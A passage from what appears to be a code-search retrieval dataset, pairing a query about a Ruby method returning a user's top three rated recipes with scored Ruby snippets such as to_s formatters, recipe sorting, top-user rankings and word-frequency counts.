"ba643b0f704b5f3fe49cda1be997f42c", "score": "0.5181219", "text": "def to_s\n \"#{@x}\"\n end", "title": "" }, { "docid": "279e0ac2011f6fdace2965d8d9f6a6b4", "score": "0.51801515", "text": "def to_s\n return \"(N #{ north }, E #{ east }, H #{ height })\"\n end", "title": "" }, { "docid": "5509b24dca52b97136da64bf1df2ff68", "score": "0.5176241", "text": "def to_s\n @rover[:x].to_s + ' ' + @rover[:y].to_s + ' ' + @rover[:direction].to_s.upcase\n end", "title": "" }, { "docid": "ded8e45674d10fda51d612c623cfccfb", "score": "0.51620173", "text": "def to_s \r\n \"(#{@x},#{@y})\" \r\n end", "title": "" }, { "docid": "7d7754c06f29d26a63556e84a82c740a", "score": "0.5161416", "text": "def to_s\n result = @data.map(&:dup)\n if result[my][mx] == \"s\"\n result[my][mx] = \"M\"\n elsif result[my][mx] == \".\"\n result[my][mx] = \"m\"\n else\n raise \"Bad monster location\"\n end\n result.join(\"\\n\") + \"\\n\\n\"\n end", "title": "" }, { "docid": "3a1a61fb2004e3f611903b4386d2c8c2", "score": "0.5161095", "text": "def to_s\n\t\t\"Point: #{x}, #{y} Facing: #{d}\"\n\tend", "title": "" }, { "docid": "56d80e43c670c60b2d3f796c72b652ca", "score": "0.5159332", "text": "def list\n list = \"\"\n i = 0\n @planets.each do |planet|\n list << \"Planet ##{i+1} - \\n#{planet.attributes}\\n\"\n i += 1\n end\n return list\n end", "title": "" }, { "docid": "ef6c40fe6de0ff9fe81740f2f9093c75", "score": "0.51568955", "text": "def list_planets\n planet_string = \"Planets orbiting #{@star_name}: \"\n @planets.each_with_index do |planet, index|\n planet_string += \"\\n #{index + 1}. #{planet.name}\"\n end\n return planet_string\n end", "title": "" }, { "docid": "71345c51e26cabf1520ea6612e234501", "score": "0.5155562", "text": "def to_s\n \"(#{ x }, #{ y })\"\n end", "title": "" }, { "docid": "8d5fb6edb5856e32c3b872cb7abacb02", "score": "0.5153004", "text": "def to_s\n output = @name\n output << \"\\n#{'=' * @name.size}\\n\\n\"\n output << \"Alimentos: #{@alimentos.join(', ')}\\n\\n\"\n end", "title": "" }, { "docid": "01a46fce14a045a7d423ce92a296256e", "score": "0.51461613", "text": "def to_s\n result = \"Waypoint \\n\"\n result << \"\\tName: #{name}\\n\"\n result << \"\\tLatitude: #{lat} \\n\"\n result << \"\\tLongitude: #{lon} \\n\"\n result << \"\\tElevation: #{elevation}\\n \"\n result << \"\\tTime: #{time}\\n\"\n SUB_ELEMENTS.each do |sub_element_attribute|\n val = self.send(sub_element_attribute)\n result << \"\\t#{sub_element_attribute}: #{val}\\n\" unless val.nil?\n end\n result\n end", "title": "" }, { "docid": "7a25ec0e65952c7b8c8364f50e8ba4b1", "score": "0.5145871", "text": "def markers_string\n\t mappoints = self.statuses.map {|s| {:created_at => s.created_at, :latitude => s.latitude, :marker => s.marker } }\n\t mappoints.delete_if { |p| p[:marker].nil? } # reject statuses with null marker strings\n\t if mappoints.count > 0\n\t markers_string = '[ '\n\t mappoints.each do |point|\n\t markers_string = markers_string + point[:marker] + ', '\n\t end\n\t markers_string = markers_string[0..markers_string.length - 3] + ' ]'\n\t else\n\t markers_string = nil\n\t end\n end", "title": "" }, { "docid": "0f6c0fc01d7544615c4b760d9f8b7182", "score": "0.51450443", "text": "def to_s\n \"#{self.class}[\" + @x.to_s + \", \" + @y.to_s + \"]\"\n end", "title": "" } ]
27e88a98029713370d1c82f91fe817b3
Usertop_three_recipes should return the top three highest rated recipes for this user.
[ { "docid": "c5116ae55fb7d0c2ddac5e5b1ec43c8f", "score": "0.7853471", "text": "def top_three_recipes\n top_three_cards = recipe_cards.sort_by { |card| card.rating}.reverse.slice(0, 3)\n top_three_cards.map { |c| c.recipe }\n end", "title": "" } ]
[ { "docid": "59464b2cb618d69d19f279563db1589e", "score": "0.8272072", "text": "def top_three_recipes\n top_three = RecipeCard.all.select {|atr| atr.user == self}\n top_three.sort_by {|atr| atr.rating}.reverse\n top_three[0..2]\n end", "title": "" }, { "docid": "0d53901d5cdf16f4bbc2c697bc00d528", "score": "0.79490656", "text": "def top_three_recipes\n sorted_recipe_cards = self.recipe_cards.sort do |recipe_card|\n recipe_card.rating end\n if sorted_recipe_cards.length < 3\n sorted_recipe_cards\n else\n sorted_recipe_cards[-3,3]\n end\n end", "title": "" }, { "docid": "9c2d131fd263599b0e1f52118954c655", "score": "0.7927247", "text": "def top_three_recipes\n\t\trecipes.select { |recipe| recipe.rating }.sort_by { |recipe| recipe.rating }.last(3)\n\tend", "title": "" }, { "docid": "65d6cfcd69061413ade55def0bd71900", "score": "0.79179704", "text": "def top_three_recipes\n self.find_user_recipe_cards.sort_by{|rcard| rcard.rating}.reverse![0..2]\n end", "title": "" }, { "docid": "e0dace0b0f668878659382c85542a221", "score": "0.78361714", "text": "def top_three_recipes\n recipes_sorted_by_rating.reverse[0..2]\n end", "title": "" }, { "docid": "633879194f8c2bfde61ff4908d7019bb", "score": "0.7789427", "text": "def top_three_recipes\n self.recipes.sort_by {|info| info.rating}.pop(3)\n end", "title": "" }, { "docid": "9c3c1befd6af8e1f79ef13db0643d284", "score": "0.77610785", "text": "def top_three_recipes\n recipe_cards.max_by(3) {|recipe_cards| recipe_cards.rating}\n end", "title": "" }, { "docid": "620e9d6ae4c3dd0b4fe63052a06edc40", "score": "0.7700103", "text": "def top_three_recipes\n my_recipes = self.recipe_cards\n my_recipes.sort{|a, b| b.rating <=> a.rating }.slice(0,3)\n end", "title": "" }, { "docid": "c841948aa547bb32252cd6ea63e44e88", "score": "0.74209607", "text": "def top_three_recipes \n a = recipes.sort_by do |i| \n i.rating \n end \n a[-3..-1]\n end", "title": "" }, { "docid": "1fdc364cea45d3b2f22db66ddc7e745a", "score": "0.6641044", "text": "def top_3_comments\n comments.order(rating: :desc).limit(3)\n end", "title": "" }, { "docid": "806786586c146f72ce650a4b2fd36918", "score": "0.64974374", "text": "def top_three\n @top_3 = User.order('win_percentage DESC').limit(3)\n render json: { data: @top_3 }.to_json\n end", "title": "" }, { "docid": "271d0b656f0c049f4c4b35e8c1c5b436", "score": "0.6216134", "text": "def top_3\n freq_hash = each_with_object(Hash.new(0)) { |v, h| h[v] += 1 }\n freq_hash.sort_by { |k, v| -v }.first(3).map(&:first)\n end", "title": "" }, { "docid": "1527ea17d44d49f93a5b93c98c07d4a0", "score": "0.6184529", "text": "def top_three_memes\n # Get top 3 rarity total scores\n top_rarities = Rarity.order('total_score DESC').limit(3)\n top_rarities.map do |rarity|\n Meme.find(rarity.meme_id)\n end\n end", "title": "" }, { "docid": "0ad08b612d2abd11f86a50d9c5ad547b", "score": "0.6122846", "text": "def personal_top_three\n scores.max([scores.length, 3].min)\n end", "title": "" }, { "docid": "7490fc8cbdc7d6ec1b47cbbaf713b3a6", "score": "0.6089809", "text": "def top_three_rated_events\n self.highest_events_by_rating.first(3)\n end", "title": "" }, { "docid": "24f6b51c61800ce50279969ac171b824", "score": "0.60022515", "text": "def top_three_rated_afterthoughts\n self.afterthoughts_by_rating.first(3)\n end", "title": "" }, { "docid": "c6c5762f407cfb70343204dcf7e842fc", "score": "0.58751434", "text": "def index\n \t@ratings = Rating.includes(:user, beer: :brewery).all\n @top3Beers = topbeer @ratings, 3\n @top3Breweries = topbrewery @ratings, 3\n @top3Raters = User.top 3\n @top3Styles = topstyle @ratings, 3\n @recent = @ratings.order(created_at: :desc).limit(5)\n end", "title": "" }, { "docid": "d5fd4c7579cbb8237a76dd5c327275b8", "score": "0.5659481", "text": "def getThreeTweets\n\t\trender json: TwitterAPI.get_top_3_tweets(params[:twitter_id])\n\tend", "title": "" }, { "docid": "65736d4fded67409c36efadc09779fac", "score": "0.5530675", "text": "def most_reviews\n @top_five = Taxi.most_review_answers(current_user, params)\n end", "title": "" }, { "docid": "9558dbe6e6bcd9bc493c742234af1521", "score": "0.5482479", "text": "def top_3_rank_contributors\n top_3 = User.top_contributors_by_rank.select { |user| user.rank <= 3 }\n\n top_3.map do |user|\n {\n user_id: user.id,\n first_name: user.first_name,\n last_name: user.last_name,\n photo_url: user.photo_url,\n badges_sum: user.badges_sum,\n badges_count: user.badges_count,\n rank: user.rank,\n badges: {\n gold: user.gold.to_i,\n silver: user.silver.to_i,\n bronze: user.bronze.to_i\n }\n }\n end\n end", "title": "" }, { "docid": "6e8b99dd0a84691e369147b2dcf882cd", "score": "0.5443541", "text": "def get_most_radlibs_created(num_users = 5)\n get_most_generic_for_users(DOCS[:most_prolific], num_users)\n end", "title": "" }, { "docid": "8c775d7da9c731fdefb9b7c9a7a5224c", "score": "0.54175025", "text": "def how_orders_of_three_most_popular_books\n books_count.each {|title, times| puts \"The most popular books, '#{title}', ordered #{times}\" if times == books_count.values.max }\n end", "title": "" }, { "docid": "6ef4df434a3a1b22e1c7f8d2b7b424bd", "score": "0.53844804", "text": "def top_3_words(text)\n text.gsub(\"\\n\", \" \")\n .split(\" \")\n .map(&:downcase)\n .map(&sanitize)\n .reject(&empty)\n .reject(&no_letters)\n .reduce({}, &top_word)\n .sort_by(&word_count)\n .reverse\n .take(3)\n .map(&:first)\nend", "title": "" }, { "docid": "59ff3890c8f1b4c85eb7c1cab233befb", "score": "0.5361519", "text": "def most_recent_recipe\n recent_recipe_array = get_user_recipes.collect do |recipe_card|\n recipe_card.recipe\n end\n recent_recipe_array[-1]\n end", "title": "" }, { "docid": "46faebb64c7e112a8f7447cd71f36ee6", "score": "0.5358138", "text": "def get_most_popular_users(num_users = 5)\n get_most_generic_for_users(DOCS[:most_popular_users], num_users)\n end", "title": "" }, { "docid": "03a1d14ddf421e9730e76275855bbbf5", "score": "0.52942854", "text": "def by_make_top(make, number)\n by_make(make).take(number)\n end", "title": "" }, { "docid": "4d4fd85e973ccbde83e466844769539d", "score": "0.5274142", "text": "def most_popular\n\n # Recipecard.all.select {|rc| rc.recipe ==self}\n # most_popular.map {|rc| rc.users}\n recipe_hash = {}\n RecipeCard.all.each do |recipecard|\n if recipe_hash[recipecard.name]==nil\n recipe_hash[recipecard.name]=1\n else\n recipe_hash[recipecard.name]+= 1\n end\n end\n recipe_hash.max_by{|k,v| v}[0]\n end", "title": "" }, { "docid": "d421fd6c602e8e504bdc97f7d5d42e1f", "score": "0.5270955", "text": "def top_ten_list(category)\n # Select all of category from work instances\n work_by_category = Work.all.select { |work| work.category.downcase == \"#{category}\" }\n # Return max by vote count for top 10\n return work_by_category.max_by(10) { |work| work.votes.length }\n end", "title": "" }, { "docid": "7753c68a064d235cdf7c42d865d848bb", "score": "0.52703875", "text": "def get_top_10_movies_for_user(user_hash)\n Movie.get_top_10_movies_for_user(user_hash)\nend", "title": "" }, { "docid": "25a715901eff8f39c1f363ab79bbeed8", "score": "0.5268103", "text": "def get_most_radlib_fillins_by_user(num_users = 5)\n get_most_generic_for_users(DOCS[:most_prolific], num_users)\n end", "title": "" }, { "docid": "6c474798cecd19549f18da9ddea1c46f", "score": "0.52253944", "text": "def top_rentals\n return @badfruit.parse_movies_array(JSON.parse(@badfruit.get_lists_action(\"top_rentals\")))\n end", "title": "" }, { "docid": "738ec7a03e083cc87df5ff1d16f76a84", "score": "0.51410055", "text": "def get_most_prolific_users(num_users = 5)\n get_most_generic_for_users(DOCS[:most_prolific], num_users)\n end", "title": "" }, { "docid": "e4520fca04ea08721494aa9c02b44774", "score": "0.5139669", "text": "def top_songs(n = 3)\n top_list = @tracks.sort_by {|s| s.play_count}.reverse\n return top_list[0..n-1].compact\n end", "title": "" }, { "docid": "64101357f481684fa8d9d04174e4a9a2", "score": "0.51359457", "text": "def top_ten_users\n # Get top 3 dank ranks total scores\n top_danks = DankRank.order('total_score DESC').limit(6)\n # For each top dank_rank, retrieve [lvl, points, id]\n top_users = top_danks.map { |dank| [User.find(dank.user_id).dank_rank.total_score, User.find(dank.user_id).dank_rank.rank_up_xp_progress, User.find(dank.user_id).id] }\n # Sort that array by level and then points\n top_users.sort!{|a, b| b <=> a}\n # Return the users\n return top_users.map { |array| User.find(array[2]) }\n end", "title": "" }, { "docid": "c46fb1abb6f24030a5c5c43355d8d798", "score": "0.5124116", "text": "def topusers\n\t\t@topusers = User.find(:all, :order => \"points DESC\", :limit => \"10\")\n\tend", "title": "" }, { "docid": "e569ea2caedfc024f5e11ba234149636", "score": "0.5078125", "text": "def top(num = nil)\n temp = @user.scores.group(:sentence).sum(:val).sort_by{|_,v| -v}\n filter_by_num(temp, num)\n end", "title": "" }, { "docid": "514760fecb87185f121c91e28f261e10", "score": "0.5064399", "text": "def filter_articles(articles)\n include PopularitySearch\n #this isn't fair to more recent articles\n popularity_cutoff = 300\n articles.each do |article|\n article[:twitter_pop] = twitter_popularity(article[:url])\n end\n articles.select do |article|\n article[:twitter_pop] > popularity_cutoff\n end\n articles = articles.sort_by{|article| article[:twitter_pop]}.reverse\n return articles[0..2] #only pick the top 3 if there's more than 3\nend", "title": "" }, { "docid": "ac54259db37a7f1e9fe89320bb484103", "score": "0.50617635", "text": "def top_users(limit = 10)\n @users.sort_by{|user_id,user| -user.score}.first(limit).map do |t|\n {\n :id => t.first,\n :score => t.last.score,\n :common_tracks_count => t.last.common_tracks_count,\n :total_tracks_count => t.last.total_tracks_count\n }\n end\n end", "title": "" }, { "docid": "5ee21f2cdb3c7ef881abb5b347d43af9", "score": "0.5057596", "text": "def top_3_words(text)\n count = Hash.new { 0 }\n text.scan(/\\w+'*\\w*/) { |word| count[word.downcase] += 1 }\n count.map{|k,v| [-v,k]}.sort.first(3).map(&:last)\nend", "title": "" }, { "docid": "71127a849a59a6c93172c40335062533", "score": "0.50294244", "text": "def top_actors\n @top_actors ||= imdb_top_actors.sort_by { |actor, parameters| -parameters[:count] }\n \n logger.debug \"Top Actors: #{@top_actors.inspect}\"\n @top_actors\n end", "title": "" }, { "docid": "2be968b22b29d8eb09dadc523a117a6b", "score": "0.500396", "text": "def most_recent_recipe\n recipes.last\n # should return the recipe most recently added to the user's cookbook.\n end", "title": "" }, { "docid": "056b3ce2d1a6fbb4b1b695ad6955949b", "score": "0.49650326", "text": "def get_most_comments_made(num_users = 5)\n get_most_generic_for_users(DOCS[:most_comments_made], num_users)\n end", "title": "" }, { "docid": "63c0e71db32c81713818ba3fa6f163be", "score": "0.49605492", "text": "def bottom_three_rated_events\n self.lowest_events_by_rating.first(3)\n end", "title": "" }, { "docid": "22c0d88a6293a4048f4a7b3f30ff3133", "score": "0.49481332", "text": "def tfivetags\n tag_array = self.tags\n sort_array = tag_array.sort!{|a,b| a.reputation_for(:votes) <=> b.reputation_for(:votes)}\n sort_array.reverse!\n topfive = sort_array.take(5)\n topfive\n end", "title": "" }, { "docid": "d11ef4ea790ece275b2af3b4ddabb3ad", "score": "0.4940468", "text": "def top_tweets(percentage_integer)\n\t\ttweets = tweets_since(48.hours.ago)\n\t\tif tweets.length < 1\n\t\t\ttweets = last(200)\n\t\tend\n\t\tarray_length = tweets.length\n\t\tpercentage_float = percentage_integer.to_f / 100\n\t\ttop_length = array_length.to_f * percentage_float\n\t\tranked = ranked_by_score(tweets)\n\t\ttweets = ranked[0..top_length - 1]\n\tend", "title": "" }, { "docid": "07cb86a45af056a0299665b180124da1", "score": "0.49181142", "text": "def get_most_prolific_likers(num_users = 5)\n get_most_generic_for_users(DOCS[:most_prolific_likers], num_users)\n end", "title": "" }, { "docid": "5eb34e2a46913f2e4d9db1c6873fddaf", "score": "0.4912737", "text": "def top_3_words (text)\n word_hash = Hash.new(0)\n len = text.length\n while (len > 0)\n\n nextIndex = text.index(' ')\n\n if (nextIndex == nil)\n nextIndex = text.length\n else\n nextIndex += 1\n end\n\n word = text.slice!(0, nextIndex).strip.downcase\n word_hash[word] += 1\n\n len = text.length\n\n end\n\n array = word_hash.sort_by{ |item, count| count}.last(3).reverse\n \n return array.map{|item| item[0]}\nend", "title": "" }, { "docid": "f2c3028ac9fa0e070c853d846d444560", "score": "0.49050713", "text": "def most_recent_recipe\n most_recent_recipe = RecipeCard.all.select {|atr| atr.user.name == self.name}\n most_recent_recipe.sort_by {|atr| atr.date}.reverse[0]\n end", "title": "" }, { "docid": "6d6a9512d133bb7ac858ea0557d9fbc6", "score": "0.4872057", "text": "def thirdLargest(numList)\r\n numList.uniq!\r\n numList.sort!\r\n # p numList\r\n puts \"Third Largest Number Is: #{numList[-3]}\"\r\nend", "title": "" }, { "docid": "5752d9b22d8746c8dc5a2280bb56435f", "score": "0.48630518", "text": "def top_ten\n sorted = @person_array.sort { |a, b| a.awesomeness <=> b.awesomeness }\n sorted.reverse!\n return sorted[0..9] if sorted.size >= 10\n return sorted\n end", "title": "" }, { "docid": "f0fa9b347581b86d83f1650d55db28e1", "score": "0.48585346", "text": "def get_most_radlib_fillins_by_others(num_users = 5)\n get_most_generic_for_users(DOCS[:most_prolific], num_users)\n end", "title": "" }, { "docid": "629f7011cadeaa09868521a16da0302d", "score": "0.4856608", "text": "def get_best_users(n,factor = 1)\n\t return recommand(:get_best_users,:get_best_tags,n,factor){\n\t\t self.friends.collect{|f|\t\t\n\t\t\t# See comments about frienships relations to more information about f structure\n\t\t\t [f[:friend],f[:friend].screen_name,f[:weight]*factor]\n\t\t }\n\t\t}\t\n\tend", "title": "" }, { "docid": "271d8785b9230e15bf98858a58026e2b", "score": "0.4844669", "text": "def most_recent_recipe\n self.find_recipe_card_by_user.sort_by {|v| v.date}.last.recipe.name\n end", "title": "" }, { "docid": "0edbb1c9c8a7b7d5aa64e1283127ec5f", "score": "0.48429155", "text": "def multiples_3_and_5 (top_range_num)\n three_five_array = []\n i = 1\n while i < top_range_num\n if i%3 == 0\n three_five_array.push(i)\n elsif i%5 == 0\n three_five_array.push(i)\n end\n i += 1\n end\n three_five_array = three_five_array.uniq\n sum = three_five_array.inject {|total, x| total + x}\n puts sum\nend", "title": "" }, { "docid": "ca18c468dfcc4b1875230e56a9e89198", "score": "0.48394853", "text": "def most_recent_recipe\n self.find_user_recipe_cards.sort_by{|rcard| rcard.date}[-1]\n end", "title": "" }, { "docid": "147b808f37cd54074453cfc4aafb0aff", "score": "0.48362687", "text": "def top_categories(options={})\n options = DEFAULT_CATEGORY_OPTIONS.merge(options)\n\n sql = <<-GO\n SELECT tags.name, COUNT(*) number \n FROM users \n INNER JOIN entries \n ON users.id = entries.user_id \n INNER JOIN taggings \n ON entries.id = taggings.taggable_id and 'Entry' = taggings.taggable_type \n INNER JOIN tags \n ON taggings.tag_id = tags.id \n WHERE users.id = #{self.id} \n #{' AND entries.is_private = 0 ' unless options[:include_private] == true}\n GROUP BY tags.name \n ORDER BY number DESC, tags.name ASC\n #{\"limit %d \" % options[:max_rows] unless options[:max_rows] == 0}\n GO\n\n result = connection.execute(sql.gsub(\"\\n\", ' ').squeeze(' '))\n tags = []\n result.each {|row| tags << [row[0], row[1].to_i]} \n tags\n end", "title": "" }, { "docid": "02a8ea65c873db73f950989be3f3533b", "score": "0.48275185", "text": "def analyze_most_popular_users(user)\n\n # calculate score\n most_popular = 1\n most_popular *= (val = user.num_radlib_views_received) > 0 ? val : 1\n most_popular *= (val = user.num_likes_received) > 0 ? val : 1\n most_popular *= (val = user.num_radlibs_filled_by_others) > 0 ? val : 1\n\n # scale it down to avoid too big a number, using 10000.1 (with decimal ensures that we extend the value's significant digits)\n most_popular /= 100.1\n\n # analyze result\n analyze_most_generic(user.uid, most_popular.to_f, DOCS[:most_popular_users])\n self\n end", "title": "" }, { "docid": "c7ae4892573ee4c75d46167bf258a047", "score": "0.4822783", "text": "def sorted_top_users\n add_github_user('redline6561')\n followers = github.get_followers('redline6561',1,100)\n followers.map { |x| x['login'] }.sample(20).each do |username|\n add_github_user(username)\n end\n\n Cheepcreep::GithubUser.order(:followers => :desc).each do |u|\n puts \"User: #{u.login}, Name: #{u.name}, Followers: #{u.followers}\"\n end\nend", "title": "" }, { "docid": "244010a1bc2fa11ead7e72f015693642", "score": "0.48210615", "text": "def worst_clients(top: 5, timeframe: default_timeframe)\n clients_with_revenue_impact(timeframe: timeframe).order('revenue_impact asc').limit(top)\n end", "title": "" }, { "docid": "6af9c8fc3be51c0f4c83c7914e6563f6", "score": "0.4820522", "text": "def most_recent_recipe\n self.user_recipe_cards.sort_by do |card|\n card.date\n end.last\n end", "title": "" }, { "docid": "9e0dd2824bd8b74ef13ad136c168d50a", "score": "0.48138672", "text": "def users_with_most_liked_comments\n User\n .preload(:likes)\n .joins(:likes)\n .group('users.id')\n .order(Arel.sql('count(likes.id) desc'))\n .limit(10)\n end", "title": "" }, { "docid": "5fbe0fc6d6ca8947fd2bab3305320bbb", "score": "0.48120052", "text": "def top_five(db)\r\n\t \tputs \"\\t -- Top Five -- \"\r\n\t \tputs \" - - Title - - Rating - - Comments - - \"\r\n\t\tmovie = db.execute(\"SELECT * FROM movies WHERE rating = 10 ORDER BY title ASC LIMIT 5\")\r\n\t\tmovie.each do |mov|\r\n\t\t\tprintf \" * %-13s| %-4s| %-5s\\n\", \"#{mov['title']}\", \"#{mov['rating']}\", \"#{mov['comments']}\"\r\n\t\tend\r\n\t\tputs\"-\"*60\r\n\tend", "title": "" }, { "docid": "90753fadcd703fe65ec78507c15a769d", "score": "0.48067823", "text": "def top_reviewers(p_topic, p_limit = 10)\n User.find(\n :all,\n :select => 'DISTINCT users.*',\n :joins => :reviews,\n :group => 'reviews.id',\n :order => 'count(reviews.id) DESC',\n :conditions => ['reviews.topic_id = ?', p_topic.id],\n :limit => p_limit\n )\n end", "title": "" }, { "docid": "80e78f81081fbaa41730d1c3e453f3ff", "score": "0.4803533", "text": "def top_categories(options={})\n options = DEFAULT_CATEGORY_OPTIONS.merge(options)\n\n sql = <<-GO\n SELECT tags.name, COUNT(*) number\n FROM users\n INNER JOIN entries\n ON users.id = entries.user_id\n INNER JOIN taggings\n ON entries.id = taggings.taggable_id and 'Entry' = taggings.taggable_type\n INNER JOIN tags\n ON taggings.tag_id = tags.id\n WHERE users.id = #{self.id}\n #{' AND entries.is_private = 0 ' unless options[:include_private] == true}\n GROUP BY tags.name\n ORDER BY number DESC, tags.name ASC\n #{\"limit %d \" % options[:max_rows] unless options[:max_rows] == 0}\n GO\n\n result = connection.execute(sql.gsub(\"\\n\", ' ').squeeze(' '))\n tags = []\n result.each {|row| tags << [row[0], row[1].to_i]}\n tags\n end", "title": "" }, { "docid": "362ca3b7c69799df80b17bff3c4ac891", "score": "0.479907", "text": "def third_greatest(nums)\n\t\n\tnums.sort!\n\treturn nums[-3]\nend", "title": "" }, { "docid": "3243f3caf23f915802a9d736eabfcf4a", "score": "0.47924674", "text": "def top_tags(user, options={})\n get(:standard, {:method => \"user.getTopTags\", :user => user}.merge(options))\n end", "title": "" }, { "docid": "8d4acd5ac4d3235ffd93720394968099", "score": "0.47845557", "text": "def top_spots(user_id=self.username)\n connection.get(\"/users/#{user_id}/top_spots\").body.top_spots\n end", "title": "" }, { "docid": "bd3f2d950a825c9800b67fcb0bb8b558", "score": "0.4774871", "text": "def top_templates\n cached = Rails.cache.read(\"top_five\")\n return cached unless cached.nil?\n\n end_date = Date.today\n start_date = (end_date - 90)\n ids = Plan.group(:template_id)\n .where(created_at: start_date..end_date)\n .order(\"count_id DESC\")\n .count(:id).keys\n\n top_five = Template.where(id: ids[0..4])\n .pluck(:title)\n cache_content(\"top_five\", top_five)\n top_five\n end", "title": "" }, { "docid": "1de515e809e76eb86cea57a76efd6c86", "score": "0.47721243", "text": "def top_matches(n=3)\n \n scores = Array.new\n \n @prefs.each_pair do |key,value|\n if key != @person\n scores << [@similarity.compute(key),key]\n end\n end\n \n (scores.sort!.reverse!)[0..n]\n \n end", "title": "" }, { "docid": "c3928464f0f13bbe8042c10db422eaab", "score": "0.4771649", "text": "def top_matches(item_prefs, item, number=5)\n scores = []\n\n item_prefs.keys.each do |other|\n if other != item\n similarity = distance_similarity(item_prefs, item, other)\n\n if similarity > 0\n scores << [similarity, other]\n end\n end\n end\n\n scores = scores.sort_by { |score| -score[0] }\n\n return scores[0, number]\n end", "title": "" }, { "docid": "aed920b0ff2ad5c01909930a840b9164", "score": "0.47668988", "text": "def recent_reviews\n # 5 most recent reviews of this restaurant\n\n self.reviews.order(:date).limit(5)\n end", "title": "" }, { "docid": "b2d1f50dafa098f77ba1f552baf24910", "score": "0.47547033", "text": "def top_tweets(percentage_integer)\n\t\tputs \"Pulling top #{percentage_integer}% tweets\"\n\t\ttweets = []\n\t\ttwitter_accounts.each do |ta|\n\t\t\t# twitter_account.top_tweets pulls the top tweets for a given account\n\t\t\ttweets = tweets + ta.top_tweets(percentage_integer)\n\t\tend\n\t\ttweets\n\tend", "title": "" }, { "docid": "1a744b7cf061f4e9332bfedcb17df977", "score": "0.474529", "text": "def third_largest(arr)\n arr.sort[-3]\nend", "title": "" }, { "docid": "40e4621c88b7f65a1fa2bb803c2a2511", "score": "0.4741787", "text": "def test_top_scorers\n correct_answer_1 = FactoryGirl.create :possible_answer, correct: true\n correct_answer_2 = FactoryGirl.create :possible_answer, correct: true, question: correct_answer_1.question\n incorrect_answer = FactoryGirl.create :possible_answer, correct: false, question: correct_answer_1.question\n \n user_1 = FactoryGirl.create :user, email: '1@example.com'\n user_2 = FactoryGirl.create :user, email: '2@example.com'\n user_3 = FactoryGirl.create :user, email: '3@example.com'\n user_4 = FactoryGirl.create :user, email: '4@example.com'\n user_5 = FactoryGirl.create :user, email: '5@example.com'\n\n # User 1 has one incorrect answer.\n FactoryGirl.create :response, user: user_1, answer: incorrect_answer\n # User 2 has one correct answer.\n FactoryGirl.create :response, user: user_2, answer: correct_answer_1\n # User 3 has two correct answers.\n FactoryGirl.create :response, user: user_3, answer: correct_answer_1\n FactoryGirl.create :response, user: user_3, answer: correct_answer_2\n # User 4 has no answers.\n # User 5 has one correct answer and one incorrect answer.\n FactoryGirl.create :response, user: user_5, answer: correct_answer_2\n FactoryGirl.create :response, user: user_5, answer: incorrect_answer\n\n top_users = User.top_scorers(3)\n assert_equal user_3, top_users[0]\n assert_equal user_2, top_users[1]\n assert_equal user_5, top_users[2]\n end", "title": "" }, { "docid": "126d80e957d323a1d7a505ca5a051821", "score": "0.47336712", "text": "def findTopMovies(actor, top_number=100) \r\n movie_array = []\r\n\r\n actor.film_actor_hash.each_key {|key| movie_array.push(key)}\r\n\r\n return movie_array.take(top_number)\r\nend", "title": "" }, { "docid": "bf4586a7eba4c93fe22dff857539a49d", "score": "0.47168398", "text": "def personal_best\n personal_top_three.first\n end", "title": "" }, { "docid": "9ca97d7ab5b3767f3ba718c051e3817b", "score": "0.47152588", "text": "def top_users_locations_sql\n \"SELECT users.name AS name, COUNT(DISTINCT locations.id) AS num_locations\n FROM users, locations, posts, locations_users lu\n WHERE users.id = lu.user_id AND lu.location_id = locations.id AND posts.location_id = locations.id\n GROUP BY users.id\n HAVING COUNT(DISTINCT posts.id)>2\n ORDER BY COUNT(DISTINCT locations.id) DESC\n LIMIT 5\"\n end", "title": "" }, { "docid": "23d5fe3b1aed50e575562e6d75be53d3", "score": "0.47138894", "text": "def frontpage\n @users = User.order(karma: :desc).limit(5)\n end", "title": "" }, { "docid": "d26516e9b32bb7b82530a0e37ee7c3e2", "score": "0.47132543", "text": "def get_most_active_users(num_users = 5)\n get_most_generic_for_users(DOCS[:most_active_users], num_users)\n end", "title": "" }, { "docid": "e6d06f961f13c96c063f3de35b3cc553", "score": "0.47048628", "text": "def analyze_most_radlibs_created(user)\n analyze_most_generic(user.uid, user.num_radlibs_created.to_i, DOCS[:most_radlibs])\n self\n end", "title": "" }, { "docid": "29b12803c4c28c479d3c2626c5b23353", "score": "0.46977952", "text": "def top_10_fans\n users_array = UserTeam.all.collect{|user| user.user_id}\n most_common_value = users_array.uniq.sort_by{ |i| users_array.count( i ) }.reverse\n biggest_fans = most_common_value.map {|user| User.find(user).name}[0..9]\n users_teams_count = most_common_value.map {|user| User.find(user).teams.count}[0..9]\n counter = 0\n return_hash = {}\n until counter == biggest_fans.length do\n return_hash[biggest_fans[counter].to_s] = users_teams_count[counter].to_s\n counter += 1\n end\n return_hash\nend", "title": "" }, { "docid": "733c2195e519cf8308e63618a34f802b", "score": "0.46959573", "text": "def highest_product_brute(array_of_ints)\n array_size = array_of_ints.size\n return \"Input array has to contain at least 3 integers.\" if array_size < 3\n highest_three_integers = array_of_ints.sort.slice(array_size-3, 3)\n result = highest_three_integers.inject(:*)\nend", "title": "" }, { "docid": "4c9272d86fa891b0aa4d5ea20b1b6b12", "score": "0.46936613", "text": "def recent_sets(user)\n @recent_sets ||= exercise_sets.where(user: user, created_at: (Time.zone.now - 3.hours)..Time.zone.now)\n end", "title": "" }, { "docid": "3d3b2f5fc710ad568b47c87dc811cef7", "score": "0.4692133", "text": "def show\n @user_opinions = session[:user_opinions]\n unless @user_opinions.nil?\n @user_opinions = @user_opinions.map { | movie_id, like | { Movie.find_by_id(movie_id) => like } }\n @user_opinions.reject! {| key, value | key.nil? }\n @top_critics = @user.top_critics(session[:user_opinions])\n return @top_critics\n end\n end", "title": "" }, { "docid": "42082fa221cf5f0ba8fa03503e431f59", "score": "0.468048", "text": "def top\n totals = Workout.find(:first, :select => 'sum(workout_length) as total_mins, count(*) as total_count')\n @total_mins = totals.total_mins\n @total_count = totals.total_count\n @users = Workout.find(:all, \n :select => 'user_profile_id, SUM(workout_length) as workout_length, COUNT(*) as number_workouts', \n :group => 'user_profile_id',\n :order => 'number_workouts desc, workout_length desc',\n :limit => 10)\n end", "title": "" }, { "docid": "b3228dccdb3b3f752971d977d4683570", "score": "0.46652213", "text": "def top_3_words(text)\n # 앞, 뒤에 있는 기호는 무시한다.\n # ' 는 몇개라도 봐준다.\n # 중간에 있는 기호는 모르겠는데 일단 그냥 가자.\n\n # words = {}\n # text.downcase.split.each do |w|\n # w = w.match(/\\w+(?:'*)\\w*/).to_s\n # next if 